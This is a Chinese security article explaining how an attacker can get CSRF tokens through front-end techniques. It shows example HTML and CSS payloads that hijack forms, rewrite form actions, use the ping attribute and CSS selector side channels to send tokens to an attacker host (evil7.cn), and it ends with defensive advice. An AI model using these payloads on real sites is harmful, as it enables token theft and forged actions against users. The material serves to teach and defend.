魔法才能打败魔法:关于获取csrf-token前端技巧思考
字数 1054 2025-08-25 22:58:20
CSRF Token 前端获取技巧详解
前言
CSRF攻击相比RCE攻击具有非侵入性和难以追踪的特点,但需要用户参与,增加了攻击难度。本文重点介绍在遇到CSRF利用瓶颈时,如何结合新特性、框架特征和原有逻辑完成整个攻击链。
CSRF Token的常规位置与获取方法
1. Cookie中的Token
- 特点:通常未设置HttpOnly标志
- 获取方法:
- 存在XSS漏洞时可直接通过
document.cookie获取 - 通过fetch重新获取响应并解析
- 存在XSS漏洞时可直接通过
2. Form表单中的Token
示例表单:
<form id="user-edit" method="POST" action="/user/edit">
<input name="token" type="hidden" value="csrf-xxxx1234">
<input name="notes" type="text" value="">
<input name="secert" type="radio"> secert
<input name="public" type="radio"> public
<input type="submit" value="save">
</form>
获取技巧:
-
HTML5 form属性劫持:
<input type="submit" form="user-edit" value="hijack">通过此方式可以触发目标表单的提交
-
覆盖表单值:
<input type="text" form="user-edit" name="notes" value="[xss-payload-here]"> <input type="text" form="user-edit" name="secert" value="on"> <input type="submit" form="user-edit" value="hijack">浏览器会取最后一个同名参数值,因此可以覆盖原有值
-
修改表单action:
<input type="submit" form="user-edit" formaction="https://evil7.cn" formmethod="GET" value="hijack">将表单数据发送到攻击者服务器
-
利用iframe的referrer:
<iframe name="title_frame" src="/index?token=xxxx1234"></iframe> <input type="submit" formtarget="title_frame" formaction="https://evil7.cn" formmethod="GET" value="hijack">通过iframe绕过referrer限制
3. URL参数中的Token
获取技巧:
-
常规a标签:
<a href="https://evil7.cn">get_token</a>通过referrer获取,但可能被no-referrer策略阻止
-
HTML5 ping属性:
<a href="#ping-leak" ping="https://evil7.cn">ping_leak</a>特点:
- 即使href是锚点(#),ping请求仍会发出
- 不受no-referrer影响
- 可通过ping-to属性获取完整URL
4. CSS选择器侧信道泄露
基本原理:利用CSS属性选择器和背景URL外带数据
基础方法:
<style>
input[name="token"][value^="c"] {
background: url("https://evil7.cn/css-leak?token_1=c")
}
</style>
<input name="token" value="csrf-xxxx1234">
^=选择开头字符$=选择结尾字符
优化方法:
使用:root伪类同时检查开头和结尾:
:root:has(input[name="token"][value^="c"]) {
background: url("https://evil7.cn/css-leak?token_1=c")
}
:root:has(input[name="token"][value$="4"]) {
background: url("https://evil7.cn/css-leak?token_last=4")
}
自动化泄露:
结合<link>标签和页面刷新,可自动依次泄露每个字符
5. CSS4 @document正则匹配(未来可能)
@document regexp("/token=a.*/") {
div:nth-child(1) {
background: url("https://evil7.cn/?token_1=a")
}
}
@document regexp("/token=.{2}a.*/") {
div:nth-child(1) {
background: url("https://evil7.cn/?token_3=a")
}
}
可精确匹配和泄露token的每一位
攻击思路升级
-
从Self-XSS到定向攻击:
- 通过表单劫持将self-XSS转化为针对特定用户的攻击
- 利用secret/public选项控制内容可见性
-
组合利用:
- 结合多种技术绕过防御措施
- 例如:iframe + formtarget绕过referrer限制
-
分阶段攻击:
- 先获取token
- 再实施CSRF攻击
防御建议
- 对所有敏感操作使用HttpOnly的CSRF Token
- 实施严格的CSP策略
- 对表单提交进行同源验证
- 禁用不必要的HTML5特性(如ping)
- 对用户输入的CSS进行严格过滤
- 使用POST而非GET传递敏感参数
总结
前端攻击虽然评级可能较低,但通过巧妙的组合利用可以达到与高危漏洞相同的效果。理解各种前端技术的特性和限制,是构建有效攻击链的关键。